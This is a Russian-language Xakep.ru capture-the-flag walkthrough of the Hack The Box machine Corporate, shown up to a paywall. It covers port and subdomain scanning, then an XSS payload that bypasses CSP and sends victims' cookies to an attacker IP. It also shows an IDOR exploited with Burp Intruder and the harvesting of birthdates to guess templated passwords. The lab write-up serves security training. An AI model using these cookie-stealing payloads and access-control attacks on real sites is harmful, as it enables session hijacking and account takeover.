В сегод­няшнем про­хож­дении нам встре­тит­ся обход CSP, экс­плу­ата­ция XSS и IDOR, поиск оши­бок в коде сай­та, похище­ние про­филя Firefox, брут PIN от Bitwarden, соз­дание токена JWT и дру­гие зах­ватыва­ющие прик­лючения.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Corporate с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.246 corporate.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го один откры­тый порт — 80. На нем отве­чает веб‑сер­вер OpenResty 1.21.4.3. На глав­ной стра­нице нас встре­чает сайт, а так­же мы узна­ём реаль­ный домен.

Главная страница сайта
Глав­ная стра­ница сай­та
 

Точка входа

Ни­же на стра­нице мож­но най­ти ссыл­ку на дру­гой ресурс, рас­положен­ный на под­домене.

Ошибка запроса к support.corporate.htb
Ошиб­ка зап­роса к support.corporate.htb

Что­бы получить дос­туп к ресур­су, добавим соот­ветс­тву­ющую запись в файл /etc/hosts, а затем пов­торим обра­щение к support.corporate.htb.

10.10.11.246 corporate.htb support.corporate.htb
Главная страница support.corporate.htb
Глав­ная стра­ница support.corporate.htb

Мы наш­ли один под­домен, а зна­чит, могут быть и дру­гие. Про­верить это лег­ко с помощью ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -d — глу­бина ска­ниро­вания;
  • -H — HTTP-заголо­вок.

Что­бы в вывод ути­литы не попада­ли абсо­лют­но все вари­анты из спис­ка, мож­но уста­новить филь­тр по раз­меру стра­ницы (параметр -fs). Мес­то перебо­ра помеча­ется сло­вом FUZZ.

Ко­ман­да получа­ется сле­дующая:

ffuf -u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb' -t 128 -fs 175 -w subdomains-top1million-110000.txt
Результат сканирования поддоменов
Ре­зуль­тат ска­ниро­вания под­доменов

Так мы откры­ваем три новых под­домена, для которых нуж­но сде­лать запись в /etc/hosts. Затем можем пос­мотреть соот­ветс­тву­ющие сай­ты.

10.10.11.246 corporate.htb support.corporate.htb git.corporate.htb sso.corporate.htb people.corporate.htb
Главная страница git.corporate.htb
Глав­ная стра­ница git.corporate.htb
Главная страница sso.corporate.htb
Глав­ная стра­ница sso.corporate.htb
Главная страница people.corporate.htb
Глав­ная стра­ница people.corporate.htb

К git дос­туп получить нель­зя, people тре­бует авто­риза­ции, а SSO обес­печива­ет еди­ный механизм аутен­тифика­ции для всех ресур­сов. Воз­вра­щаем­ся к чату тех­поддер­жки и про­веря­ем встав­ку тегов HTML.

Страница чата
Стра­ница чата

Наг­рузка со сло­вом bolt, обер­нутым в тег <b> сра­бота­ла — сло­во отоб­ражено жир­ным шриф­том. Это зна­чит, что мож­но попытать уда­чу с инъ­екци­ей XSS.

 

Точка опоры

 

XSS bypass CSP

Най­ти здесь XSS никак не получи­лось, а все из‑за полити­ки CSP, о которой мож­но узнать из отве­та веб‑сер­вера.

Ответ сервера
От­вет сер­вера

Content Security Policy — это механизм обес­печения безопас­ности, с помощью которо­го мож­но защищать­ся от XSS-атак. CSP опи­сыва­ет доверен­ные источни­ки для заг­рузки ресур­сов и уста­нав­лива­ет пра­вила исполь­зования встро­енных скрип­тов. Заг­рузка с ресур­сов, не вхо­дящих в белый спи­сок, бло­киру­ется. Таким обра­зом, для экс­плу­ата­ции XSS нуж­но най­ти воз­можность раз­местить код на одном из ресур­сов corporate.htb.

В это вре­мя Burp Scanner опре­делил воз­можность манипу­ляции содер­жимым JS-скрип­та /assets/js/analytics.min.js через параметр v.

Запрос на сервер
Зап­рос на сер­вер
Ответ сервера
От­вет сер­вера

Так­же наш­лась воз­можность менять содер­жимое стра­ницы 404 глав­ного сай­та, что поз­воля­ет вста­вить теги <script> и перей­ти к уяз­вимос­ти Self-XSS.

Запрос на сервер
Зап­рос на сер­вер
Ответ сервера
От­вет сер­вера

Та­ким обра­зом, в файл /assets/js/analytics.min.js мож­но вста­вить свой JavaScript-код, который будет отправ­лять на наш сер­вер cookie поль­зовате­ля.

http://corporate.htb/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`
Ответ сервера с нагрузкой
От­вет сер­вера с наг­рузкой

За­тем этот скрипт мож­но заг­ружать в теге <script> через стра­ницу 404 глав­ного сай­та и при­водить наг­рузку в дей­ствие.

http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>

Что­бы поль­зователь авто­мати­чес­ки перехо­дил по этой ссыл­ке, исполь­зуем HTML-инъ­екцию тега <meta> с парамет­ром http-equiv="refresh".

<meta http-equiv="refresh" content="0;url=http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document
.cookie}`'></script>">

За­пус­каем веб‑сер­вер:

python3 -m http.server

И отправ­ляем наг­рузку в чат. Как толь­ко поль­зователь прос­мотрит сооб­щение, он авто­мати­чес­ки будет перенап­равлен на http://corporate.htb/, где через Self-XSS заг­рузит­ся скрипт /vendor/analytics.min.js со встро­енной JS-наг­рузкой для кра­жи печенек.

Логи веб-сервера
Ло­ги веб‑сер­вера

Так как каж­дый новый чат будет со слу­чай­ным сот­рудни­ком тех­поддер­жки, мож­но получать cookie раз­ных поль­зовате­лей.

 

IDOR + Broken Access Control

Что­бы получен­ные cookie авто­мати­чес­ки при­меня­лись на всех сай­тах, заг­ружа­емых через Burp Proxy, нуж­но открыть нас­трой­ки прок­си и ука­зать их в раз­деле Match and replace rules.

Настройки Burp Proxy
Нас­трой­ки Burp Proxy
Главная страница сайта People
Глав­ная стра­ница сай­та People

На стра­нице Sharing мож­но най­ти нес­коль­ко фай­лов, в том чис­ле кон­фиг OpenVPN. Офис­ные докумен­ты ничего инте­рес­ного не содер­жат.

Содержимое страницы Sharing
Со­дер­жимое стра­ницы Sharing

Так как обра­щение к фай­лу про­исхо­дит через его иден­тифика­тор, сто­ит переб­рать дру­гие зна­чения ID: дос­туп к фай­лам может не кон­тро­лиро­вать­ся. Одна­ко в этот раз ничего не получи­лось. В допол­нение к обна­ружен­ному мож­но отме­тить фун­кцию, которая поз­воля­ет поделить­ся фай­лом с дру­гим поль­зовате­лем.

На стра­нице Chat есть толь­ко окно чата для внут­ренних поль­зовате­лей. При кли­ке на поль­зовате­ля мож­но прос­мотреть его про­филь.

Содержимое страницы Chat
Со­дер­жимое стра­ницы Chat
Профиль пользователя
Про­филь поль­зовате­ля

Боль­ше на сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му вер­немся и пос­мотрим, какие воз­можнос­ти дает заг­рузка и шеринг фай­ла. Что­бы вой­ти от име­ни любого дру­гого поль­зовате­ля, мож­но украсть ран­домные cookie через XSS и при­менить в Burp Proxy.

Профиль другого пользователя
Про­филь дру­гого поль­зовате­ля

Че­рез фор­му заг­рузки ничего инте­рес­ного сде­лать не получи­лось. А вот что­бы поделить­ся фай­лом, сер­веру нуж­но ука­зать ID фай­ла и поч­товый адрес поль­зовате­ля, которо­му будет открыт дос­туп.

Файлы пользователя
Фай­лы поль­зовате­ля
Запрос для шеринга файла
Зап­рос для шерин­га фай­ла

Хо­тя сер­вер про­веря­ет, мож­но ли тому или ино­му поль­зовате­лю получить дос­туп к опре­делен­ному фай­лу, при шерин­ге это раз­решение может и не дей­ство­вать. Что­бы поп­робовать поделить­ся все­ми фай­лами, мож­но через Burp Intruder переб­рать их ID в зап­росе на шеринг.

Burp Intruder — вкладка Positions
Burp Intruder — вклад­ка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — вклад­ка Payloads

Ког­да все зап­росы в Burp Intruder выпол­нены, сно­ва про­веря­ем фай­лы поль­зовате­ля и находим там боль­шой спи­сок докумен­тов.

Файлы пользователя
Фай­лы поль­зовате­ля

Сре­ди бес­полез­ных фай­лов DOCX есть один инте­рес­ный файл в фор­мате PDF.

 

Сбор информации

В PDF есть шаб­лон уста­нав­лива­емых для поль­зовате­лей паролей. Пароли сос­тавля­ются по прос­той схе­ме: стро­ка CorporateStarter и дата рож­дения поль­зовате­ля.

Содержимое документа PDF
Со­дер­жимое докумен­та PDF

Да­ту рож­дения поль­зовате­ля лег­ко най­ти в его про­филе. Можем через Burp Intruder переб­рать про­фили всех поль­зовате­лей и выб­рать на стра­ницах их име­на и даты рож­дения.

Burp Intruder — вкладка Positions
Burp Intruder — вклад­ка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — вклад­ка Payloads

Для выбора име­ни поль­зовате­ля и даты рож­дения сле­дует исполь­зовать опцию Grep-Extract.

Выбор имени пользователя
Вы­бор име­ни поль­зовате­ля
Выбор даты рождения
Вы­бор даты рож­дения
Результат атаки
Ре­зуль­тат ата­ки

По­луча­ем таб­лицу с дан­ными, и теперь нуж­но выб­рать резуль­таты для всех поль­зовате­лей. Сох­раня­ем и в появив­шемся окне выбира­ем толь­ко стол­бцы с име­нами и датами рож­дения. В качес­тве раз­делите­ля выбира­ем запятую.

Сохранение результатов
Сох­ранение резуль­татов

Те­перь нуж­но най­ти сер­висы, в которые мож­но попытать­ся залоги­нить­ся. Под­клю­чаем­ся к VPN, исполь­зуя ска­чан­ный кон­фиг, и прос­матри­ваем добав­ленные мар­шру­ты. Это нуж­но для опре­деле­ния новых сетей, к которым откры­вает­ся дос­туп.

sudo openvpn candido-hackett.ovpn
Логи OpenVPN
Ло­ги OpenVPN

Нам дос­тупны сети 10.8.0.0/24 и 10.9.0.0/24. Сна­чала прос­каниру­ем их и най­дем живые хос­ты. Nmap с опци­ей -sn выпол­нит перебор всех хос­тов в сети.

nmap -sn 10.8.0.0/24 --min-rate=200
Результат сканирования сети 10.8.0.0/24
Ре­зуль­тат ска­ниро­вания сети 10.8.0.0/24
nmap -sn 10.9.0.0/24 --min-rate=500
Результат сканирования сети 10.9.0.0/24
Ре­зуль­тат ска­ниро­вания сети 10.9.0.0/24

Те­перь нуж­но прос­каниро­вать пор­ты на най­ден­ных хос­тах. Для это­го исполь­зуем уже зна­комый скрипт, который я при­водил в начале статьи.

Результат сканирования портов хоста 10.8.0.1
Ре­зуль­тат ска­ниро­вания пор­тов хос­та 10.8.0.1
Результат сканирования портов хоста 10.9.0.4
Ре­зуль­тат ска­ниро­вания пор­тов хос­та 10.9.0.4

Ад­реса 10.8.0.1 и 10.9.0.1 при­над­лежат одно­му хос­ту, поэто­му далее работать будем толь­ко с одним из них.

 

Шаблонные пароли

На хос­те 10.9.0.4 работа­ют служ­бы SSH (порт 22) и NFS (порт 111). Пер­вым делом нуж­но переб­рать учет­ные дан­ные на SSH. Но спер­ва надо соб­рать спис­ки логинов и паролей.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии